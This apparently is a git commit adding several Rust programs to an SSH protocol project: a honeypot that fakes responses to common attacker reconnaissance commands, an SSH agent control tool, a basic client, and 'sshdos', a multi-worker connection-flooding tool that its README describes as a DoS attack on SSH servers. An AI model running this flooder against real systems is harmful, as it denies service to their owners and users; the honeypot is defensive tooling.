This commit is contained in:
nora 2024-08-22 21:21:26 +02:00
parent 7ac2ef4194
commit de8f5dde21
34 changed files with 10 additions and 15 deletions

15
bin/fakesshd/Cargo.toml Normal file
View file

@ -0,0 +1,15 @@
[package]
name = "fakesshd"
version = "0.1.0"
edition = "2021"
[dependencies]
eyre = "0.6.12"
hex-literal = "0.4.1"
rand = "0.8.5"
ssh-protocol = { path = "../../lib/ssh-protocol" }
tokio = { version = "1.39.2", features = ["full"] }
tracing-subscriber = { version = "0.3.18", features = ["env-filter", "json"] }
tracing.workspace = true

3
bin/fakesshd/README.md Normal file
View file

@ -0,0 +1,3 @@
# fakesshd
An SSH honeypot.

16
bin/fakesshd/smoke-test.sh Executable file
View file

@ -0,0 +1,16 @@
#!/usr/bin/env bash
set -euxo pipefail
cargo build -p fakesshd
cargo run -p fakesshd &
sleep 1
ssh -p 2222 localhost true
ssh -p 2222 -oCiphers=aes256-gcm@openssh.com \
-oHostKeyAlgorithms=ecdsa-sha2-nistp256 \
-oKexAlgorithms=ecdh-sha2-nistp256 127.0.0.1 true
pkill fakesshd

271
bin/fakesshd/src/main.rs Normal file
View file

@ -0,0 +1,271 @@
use std::{collections::HashMap, net::SocketAddr};
use eyre::{Context, Result};
use rand::RngCore;
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::{TcpListener, TcpStream},
};
use tracing::{debug, error, info, info_span, Instrument};
use ssh_protocol::{
connection::{ChannelOpen, ChannelOperationKind, ChannelRequest},
transport::{self},
ChannelUpdateKind, ServerConnection, SshStatus,
};
use tracing_subscriber::EnvFilter;
struct ThreadRngRand;
impl ssh_protocol::transport::SshRng for ThreadRngRand {
fn fill_bytes(&mut self, dest: &mut [u8]) {
rand::thread_rng().fill_bytes(dest);
}
}
#[tokio::main]
async fn main() -> eyre::Result<()> {
let env_filter = EnvFilter::try_from_default_env().unwrap_or_else(|_| EnvFilter::new("info"));
if std::env::var("FAKESSH_JSON_LOGS").is_ok_and(|v| v != "0") {
tracing_subscriber::fmt()
.json()
.with_env_filter(env_filter)
.init();
} else {
tracing_subscriber::fmt().with_env_filter(env_filter).init();
}
let addr = std::env::var("FAKESSH_LISTEN_ADDR").unwrap_or_else(|_| "0.0.0.0:2222".to_owned());
let addr = addr
.parse::<SocketAddr>()
.wrap_err_with(|| format!("failed to parse listen addr '{addr}'"))?;
info!(%addr, "Starting server");
let listener = TcpListener::bind(addr).await.wrap_err("binding listener")?;
loop {
let next = listener.accept().await?;
let span = info_span!("connection", addr = %next.1);
tokio::spawn(
async {
let mut total_sent_data = Vec::new();
if let Err(err) = handle_connection(next, &mut total_sent_data).await {
if let Some(err) = err.downcast_ref::<std::io::Error>() {
if err.kind() == std::io::ErrorKind::ConnectionReset {
return;
}
}
error!(?err, "error handling connection");
}
// Limit stdin to 500 characters.
let stdin = String::from_utf8_lossy(&total_sent_data);
let stdin = if let Some((idx, _)) = stdin.char_indices().nth(500) {
&stdin[..idx]
} else {
&stdin
};
info!(?stdin, "Finished connection");
}
.instrument(span),
);
}
}
async fn handle_connection(
next: (TcpStream, SocketAddr),
total_sent_data: &mut Vec<u8>,
) -> Result<()> {
let (mut conn, addr) = next;
info!(%addr, "Received a new connection");
/*let rng = vec![
0x14, 0xa2, 0x04, 0xa5, 0x4b, 0x2f, 0x5f, 0xa7, 0xff, 0x53, 0x13, 0x67, 0x57, 0x67, 0xbc,
0x55, 0x3f, 0xc0, 0x6c, 0x0d, 0x07, 0x8f, 0xe2, 0x75, 0x95, 0x18, 0x4b, 0xd2, 0xcb, 0xd0,
0x64, 0x06, 0x14, 0xa2, 0x04, 0xa5, 0x4b, 0x2f, 0x5f, 0xa7, 0xff, 0x53, 0x13, 0x67, 0x57,
0x67, 0xbc, 0x55, 0x3f, 0xc0, 0x6c, 0x0d, 0x07, 0x8f, 0xe2, 0x75, 0x95, 0x18, 0x4b, 0xd2,
0xcb, 0xd0, 0x64, 0x06, 0x67, 0xbc, 0x55, 0x3f, 0xc0, 0x6c, 0x0d, 0x07, 0x8f, 0xe2, 0x75,
0x95, 0x18, 0x4b, 0xd2, 0xcb, 0xd0, 0x64, 0x06,
];
struct HardcodedRng(Vec<u8>);
impl ssh_protocol::transport::SshRng for HardcodedRng {
fn fill_bytes(&mut self, dest: &mut [u8]) {
dest.copy_from_slice(&self.0[..dest.len()]);
self.0.splice(0..dest.len(), []);
}
}*/
let mut state = ServerConnection::new(transport::server::ServerConnection::new(ThreadRngRand));
let mut session_channels = HashMap::new();
loop {
let mut buf = [0; 1024];
let read = conn
.read(&mut buf)
.await
.wrap_err("reading from connection")?;
if read == 0 {
info!("Did not read any bytes from TCP stream, EOF");
return Ok(());
}
if let Err(err) = state.recv_bytes(&buf[..read]) {
match err {
SshStatus::PeerError(err) => {
info!(?err, "disconnecting client after invalid operation");
return Ok(());
}
SshStatus::Disconnect => {
info!("Received disconnect from client");
return Ok(());
}
}
}
while let Some(update) = state.next_channel_update() {
//eprintln!("{:?}", update);
match update.kind {
ChannelUpdateKind::Open(kind) => match kind {
ChannelOpen::Session => {
session_channels.insert(update.number, ());
}
},
ChannelUpdateKind::Request(req) => {
let success = update.number.construct_op(ChannelOperationKind::Success);
match req {
ChannelRequest::PtyReq { want_reply, .. } => {
if want_reply {
state.do_operation(success);
}
}
ChannelRequest::Shell { want_reply } => {
if want_reply {
state.do_operation(success);
}
}
ChannelRequest::Exec {
want_reply,
command,
} => {
if want_reply {
state.do_operation(success);
}
let result = execute_command(&command);
state.do_operation(
update
.number
.construct_op(ChannelOperationKind::Data(result.stdout)),
);
state.do_operation(update.number.construct_op(
ChannelOperationKind::Request(ChannelRequest::ExitStatus {
status: result.status,
}),
));
state.do_operation(
update.number.construct_op(ChannelOperationKind::Eof),
);
state.do_operation(
update.number.construct_op(ChannelOperationKind::Close),
);
}
ChannelRequest::ExitStatus { .. } => {}
ChannelRequest::Env { .. } => {}
};
}
ChannelUpdateKind::Data { data } => {
let is_eof = data.contains(&0x04 /*EOF, Ctrl-D*/);
// echo :3
state.do_operation(
update
.number
.construct_op(ChannelOperationKind::Data(data.clone())),
);
// arbitrary limit
if total_sent_data.len() < 50_000 {
total_sent_data.extend_from_slice(&data);
} else {
info!(channel = %update.number, "Reached stdin limit");
state.do_operation(update.number.construct_op(ChannelOperationKind::Data(
b"Thanks Hayley!\n".to_vec(),
)));
state.do_operation(update.number.construct_op(ChannelOperationKind::Close));
}
if is_eof {
debug!(channel = %update.number, "Received Ctrl-D, closing channel");
state.do_operation(update.number.construct_op(ChannelOperationKind::Eof));
state.do_operation(update.number.construct_op(ChannelOperationKind::Close));
}
}
ChannelUpdateKind::ExtendedData { .. } | ChannelUpdateKind::Eof => { /* ignore */ }
ChannelUpdateKind::Closed => {
session_channels.remove(&update.number);
}
}
}
while let Some(msg) = state.next_msg_to_send() {
conn.write_all(&msg.to_bytes())
.await
.wrap_err("writing response")?;
}
}
}
struct ProcessOutput {
status: u32,
stdout: Vec<u8>,
}
const UNAME_SVNRM: &[u8] =
b"Linux ubuntu 5.15.0-105-generic #115-Ubuntu SMP Mon Apr 15 09:52:04 UTC 2024 x86_64\r\n";
const UNAME_A: &[u8] =
b"Linux ubuntu 5.15.0-105-generic #115-Ubuntu SMP Mon Apr 15 09:52:04 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux\r\n";
const CPUINFO_UNAME_A: &[u8] = b" 4 AMD EPYC 7282 16-Core Processor\r\n\
Linux vps2 5.15.0-105-generic #115-Ubuntu SMP Mon Apr 15 09:52:04 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux\r\n";
fn execute_command(command: &[u8]) -> ProcessOutput {
let Ok(command) = std::str::from_utf8(command) else {
return ProcessOutput {
status: 1,
stdout: b"what the hell".to_vec(),
};
};
match command {
"uname -s -v -n -r -m" => ProcessOutput {
status: 0,
stdout: UNAME_SVNRM.to_vec(),
},
"uname -a" => ProcessOutput {
status: 0,
stdout: UNAME_A.to_vec(),
},
"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a" => ProcessOutput {
status: 0,
stdout: CPUINFO_UNAME_A.to_vec(),
},
"true" => ProcessOutput {
status: 0,
stdout: b"".to_vec(),
},
_ => {
let argv0 = command.split_ascii_whitespace().next().unwrap_or("");
ProcessOutput {
status: 127,
stdout: format!("bash: line 1: {argv0}: command not found\r\n").into_bytes(),
}
}
}
}

View file

@ -0,0 +1,17 @@
[package]
name = "ssh-agentctl"
version = "0.1.0"
edition = "2021"
[dependencies]
ssh-agent-client = { path = "../../lib/ssh-agent-client" }
ssh-transport = { path = "../../lib/ssh-transport" }
clap = { version = "4.5.16", features = ["derive"] }
eyre = "0.6.12"
tokio = { version = "1.39.3", features = ["full"] }
tracing-subscriber = { version = "0.3.18", features = ["env-filter"] }
rpassword = "7.3.1"
sha2 = "0.10.8"
hex = "0.4.3"
pem = "3.0.4"

View file

@ -0,0 +1,170 @@
use std::{io::Write, path::PathBuf};
use clap::Parser;
use eyre::{bail, Context};
use ssh_agent_client::{IdentityAnswer, SocketAgentConnection};
use ssh_transport::key::SshPubkey;
#[derive(clap::Parser, Debug)]
struct Args {
#[command(subcommand)]
command: Subcommand,
}
#[derive(clap::Subcommand, Debug)]
enum Subcommand {
/// Add a new identity to the agent, SSH_AGENTC_ADD_IDENTITY
AddIdentity {
/// The path to the private key file
identity: PathBuf,
},
/// Remove all identities from the agent, SSH_AGENTC_REMOVE_ALL_IDENTITIES
RemoveAllIdentities,
/// List all identities in the agent, SSH_AGENTC_REQUEST_IDENTITIES
ListIdentities {
#[arg(short, long = "key-id")]
key_id: bool,
},
/// Sign a blob, SSH_AGENTC_SIGN_REQUEST
Sign {
/// The key-id of the key, obtained with list-identities --key-id
#[arg(short, long = "key")]
key: Option<String>,
file: PathBuf,
},
/// Temporarily lock the agent with a passphrase, SSH_AGENTC_LOCK
Lock,
/// Temporarily unlock a temporarily locked agent with a passphrase, SSH_AGENTC_UNLOCK
Unlock,
/// Query all available extension types SSH_AGENTC_EXTENSION/query
ExtensionQuery,
}
#[tokio::main]
async fn main() -> eyre::Result<()> {
let args = Args::parse();
let env_filter = tracing_subscriber::EnvFilter::try_from_default_env()
.unwrap_or_else(|_| tracing_subscriber::EnvFilter::new("info"));
tracing_subscriber::fmt().with_env_filter(env_filter).init();
let mut agent = ssh_agent_client::SocketAgentConnection::from_env().await?;
match args.command {
Subcommand::AddIdentity { identity } => {
let file = std::fs::read(&identity)
.wrap_err_with(|| format!("reading file {}", identity.display()))?;
let _ = file;
todo!("we need to parse and decrypt the key...")
}
Subcommand::RemoveAllIdentities => {
agent.remove_all_identities().await?;
println!("Removed all identities from the agent");
}
Subcommand::ListIdentities { key_id } => {
list_ids(&mut agent, key_id).await?;
}
Subcommand::Sign { file, key } => {
let file = std::fs::read(&file)
.wrap_err_with(|| format!("reading file {}", file.display()))?;
let ids = agent
.list_identities()
.await
.wrap_err("listing identities")?;
let key = match ids.len() {
0 => {
bail!("no keys found");
}
1 => {
let id = &ids[0];
if let Some(key) = key {
if key_id(id) != key {
eprintln!("error: key {key} not found. pass a key-id found below:");
list_ids(&mut agent, true).await?;
eprintln!(
"note: there is only one key, passing the key-id is not required"
);
std::process::exit(1);
}
}
id
}
_ => {
let Some(key) = key else {
eprintln!("error: missing argument --key. pass the key-id found below:");
list_ids(&mut agent, true).await?;
std::process::exit(1);
};
let Some(id) = ids.iter().find(|item| key_id(item) == key) else {
eprintln!("error: key {key} not found. pass a key-id from below");
list_ids(&mut agent, true).await?;
std::process::exit(1);
};
id
}
};
let signature = agent.sign(&key.key_blob, &file, 0).await?;
let signature = pem::encode(&pem::Pem::new("SSH SIGNATURE", signature));
std::io::stdout().write_all(signature.as_bytes())?;
}
Subcommand::Lock => {
let passphrase =
tokio::task::spawn_blocking(|| rpassword::prompt_password("passphrase: "))
.await?
.wrap_err("failed to prompt passphrase")?;
agent.lock(&passphrase).await?;
println!("Locked SSH agent");
}
Subcommand::Unlock => {
let passphrase =
tokio::task::spawn_blocking(|| rpassword::prompt_password("passphrase: "))
.await?
.wrap_err("failed to prompt passphrase")?;
agent.unlock(&passphrase).await?;
println!("Unlocked SSH agent");
}
Subcommand::ExtensionQuery => {
let extensions = agent.extension_query().await?;
for ext in extensions {
println!("{ext}");
}
}
}
Ok(())
}
async fn list_ids(agent: &mut SocketAgentConnection, print_key_id: bool) -> eyre::Result<()> {
let ids = agent.list_identities().await?;
for id in ids {
print_key(id, print_key_id);
}
Ok(())
}
fn print_key(id: IdentityAnswer, show_key_id: bool) {
let key = SshPubkey::from_wire_encoding(&id.key_blob);
match key {
Ok(key) => {
if show_key_id {
print!("{} ", key_id(&id));
}
println!("{key} {}", id.comment);
}
Err(key) => {
eprintln!("{key}");
println!("<unknown> {}", id.comment);
}
}
}
fn key_id(key: &IdentityAnswer) -> String {
use sha2::Digest;
let digest = sha2::Sha256::digest(&key.key_blob);
hex::encode(&digest[..4])
}

18
bin/ssh/Cargo.toml Normal file
View file

@ -0,0 +1,18 @@
[package]
name = "ssh"
version = "0.1.0"
edition = "2021"
[dependencies]
ssh-protocol = { path = "../../lib/ssh-protocol" }
ssh-transport = { path = "../../lib/ssh-transport" }
ssh-agent-client = { path = "../../lib/ssh-agent-client" }
clap = { version = "4.5.15", features = ["derive"] }
eyre = "0.6.12"
rand = "0.8.5"
tokio = { version = "1.39.2", features = ["full"] }
tracing-subscriber = { version = "0.3.18", features = ["json", "env-filter"] }
tracing.workspace = true
rpassword = "7.3.1"

3
bin/ssh/README.md Normal file
View file

@ -0,0 +1,3 @@
# ssh
`ssh(1)` SSH client.

137
bin/ssh/src/main.rs Normal file
View file

@ -0,0 +1,137 @@
use std::io::Write;
use clap::Parser;
use eyre::Context;
use rand::RngCore;
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::TcpStream,
};
use tracing::{debug, error, info};
use ssh_protocol::{
transport::{self},
SshStatus,
};
use tracing_subscriber::EnvFilter;
struct ThreadRngRand;
impl ssh_protocol::transport::SshRng for ThreadRngRand {
fn fill_bytes(&mut self, dest: &mut [u8]) {
rand::thread_rng().fill_bytes(dest);
}
}
#[derive(clap::Parser, Debug)]
struct Args {
#[arg(short = 'p', long, default_value_t = 22)]
port: u16,
destination: String,
command: Vec<String>,
}
enum Operation {
PasswordEntered(std::io::Result<String>),
}
#[tokio::main]
async fn main() -> eyre::Result<()> {
let args = Args::parse();
let env_filter = EnvFilter::try_from_default_env().unwrap_or_else(|_| EnvFilter::new("info"));
tracing_subscriber::fmt().with_env_filter(env_filter).init();
let mut conn = TcpStream::connect(&format!("{}:{}", args.destination, args.port))
.await
.wrap_err("connecting")?;
let username = "hans-peter";
let mut state = ssh_protocol::ClientConnection::new(
transport::client::ClientConnection::new(ThreadRngRand),
ssh_protocol::auth::ClientAuth::new(username.as_bytes().to_vec()),
);
let (send_op, mut recv_op) = tokio::sync::mpsc::channel::<Operation>(10);
let mut buf = [0; 1024];
loop {
while let Some(msg) = state.next_msg_to_send() {
conn.write_all(&msg.to_bytes())
.await
.wrap_err("writing response")?;
}
if let Some(auth) = state.auth() {
for req in auth.user_requests() {
match req {
ssh_protocol::auth::ClientUserRequest::Password => {
let username = username.to_owned();
let destination = args.destination.clone();
let send_op = send_op.clone();
std::thread::spawn(move || {
let password = rpassword::prompt_password(format!(
"{}@{}'s password: ",
username, destination
));
let _ = send_op.blocking_send(Operation::PasswordEntered(password));
});
}
ssh_protocol::auth::ClientUserRequest::PrivateKeySign {
session_identifier: _,
} => {
// TODO: move
let mut agent = ssh_agent_client::SocketAgentConnection::from_env()
.await
.wrap_err("failed to connect to SSH agent")?;
let identities = agent.list_identities().await?;
for identity in identities {
debug!(comment = ?identity.comment, "Found identity");
}
}
ssh_protocol::auth::ClientUserRequest::Banner(banner) => {
let banner = String::from_utf8_lossy(&banner);
std::io::stdout().write(&banner.as_bytes())?;
}
}
}
}
tokio::select! {
read = conn.read(&mut buf) => {
let read = read.wrap_err("reading from connection")?;
if read == 0 {
info!("Did not read any bytes from TCP stream, EOF");
return Ok(());
}
if let Err(err) = state.recv_bytes(&buf[..read]) {
match err {
SshStatus::PeerError(err) => {
error!(?err, "disconnecting client after invalid operation");
return Ok(());
}
SshStatus::Disconnect => {
error!("Received disconnect from server");
return Ok(());
}
}
}
}
op = recv_op.recv() => {
match op {
Some(Operation::PasswordEntered(password)) => {
if let Some(auth) = state.auth() {
auth.send_password(&password?);
} else {
debug!("Ignoring entered password as the state has moved on");
}
}
None => {}
}
state.progress();
}
}
}
}

17
bin/sshdos/Cargo.toml Normal file
View file

@ -0,0 +1,17 @@
[package]
name = "sshdos"
version = "0.1.0"
edition = "2021"
[dependencies]
ssh-protocol = { path = "../../lib/ssh-protocol" }
ssh-transport = { path = "../../lib/ssh-transport" }
clap = { version = "4.5.15", features = ["derive"] }
eyre = "0.6.12"
rand = "0.8.5"
tokio = { version = "1.39.2", features = ["full"] }
tracing-subscriber = { version = "0.3.18", features = ["json", "env-filter"] }
tracing.workspace = true
rpassword = "7.3.1"
futures = "0.3.30"

4
bin/sshdos/README.md Normal file
View file

@ -0,0 +1,4 @@
# ssh
An SSH client that tries to execute a DoS attack against a server.
**Only use this against your own servers!!**

142
bin/sshdos/src/main.rs Normal file
View file

@ -0,0 +1,142 @@
use std::{
sync::{
atomic::{AtomicUsize, Ordering},
Arc,
},
time::Duration,
};
use clap::Parser;
use eyre::Context;
use rand::RngCore;
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::TcpStream,
};
use tracing::{error, info};
use ssh_protocol::{
transport::{self},
SshStatus,
};
use tracing_subscriber::EnvFilter;
struct ThreadRngRand;
impl ssh_protocol::transport::SshRng for ThreadRngRand {
fn fill_bytes(&mut self, dest: &mut [u8]) {
rand::thread_rng().fill_bytes(dest);
}
}
#[derive(clap::Parser, Debug, Clone)]
struct Args {
#[arg(short = 'p', long, default_value_t = 22)]
port: u16,
#[arg(short = 't', long, default_value_t = 16)]
threads: usize,
#[arg(short = 'd', long, default_value_t = 1.0)]
delay: f32,
#[arg(short = 'c', long)]
chill: bool,
destination: String,
}
#[tokio::main]
async fn main() -> eyre::Result<()> {
let args = Args::parse();
let env_filter = EnvFilter::try_from_default_env().unwrap_or_else(|_| EnvFilter::new("info"));
tracing_subscriber::fmt().with_env_filter(env_filter).init();
let counter = Arc::new(AtomicUsize::new(0));
let mut handles = Vec::new();
for i in 0..args.threads {
info!("Starting worker {i}");
let args = args.clone();
let counter = counter.clone();
let handle = tokio::spawn(async move {
loop {
let result = execute_attempt(&args).await;
counter.fetch_add(1, Ordering::Relaxed);
tokio::time::sleep(Duration::from_secs_f32(args.delay)).await;
info!(
"Executed attempt {} on worker {i} with output {result:?}",
counter.load(Ordering::Relaxed)
);
}
});
handles.push(handle);
}
futures::future::join_all(handles).await;
Ok(())
}
async fn execute_attempt(args: &Args) -> eyre::Result<()> {
let conn = TcpStream::connect(&format!("{}:{}", args.destination, args.port)).await?;
let result = execute_attempt_inner(conn).await;
if args.chill {
info!("Chilling, taking up space");
tokio::time::sleep(Duration::from_secs(10)).await;
}
result
}
async fn execute_attempt_inner(mut conn: TcpStream) -> eyre::Result<()> {
let username = "dos";
let mut transport = transport::client::ClientConnection::new(ThreadRngRand);
transport.abort_for_dos = true;
let mut state = ssh_protocol::ClientConnection::new(
transport,
ssh_protocol::auth::ClientAuth::new(username.as_bytes().to_vec()),
);
let mut buf = [0; 1024];
loop {
while let Some(msg) = state.next_msg_to_send() {
conn.write_all(&msg.to_bytes())
.await
.wrap_err("writing response")?;
}
if let Some(_) = state.auth() {
unreachable!();
}
let read = conn
.read(&mut buf)
.await
.wrap_err("reading from connection")?;
if read == 0 {
info!("Did not read any bytes from TCP stream, EOF");
return Ok(());
}
if let Err(err) = state.recv_bytes(&buf[..read]) {
match err {
SshStatus::PeerError(err) => {
if err == "early abort" {
// Expected.
return Ok(());
}
error!(?err, "disconnecting client after invalid operation");
return Ok(());
}
SshStatus::Disconnect => {
error!("Received disconnect from server");
return Ok(());
}
}
}
}
}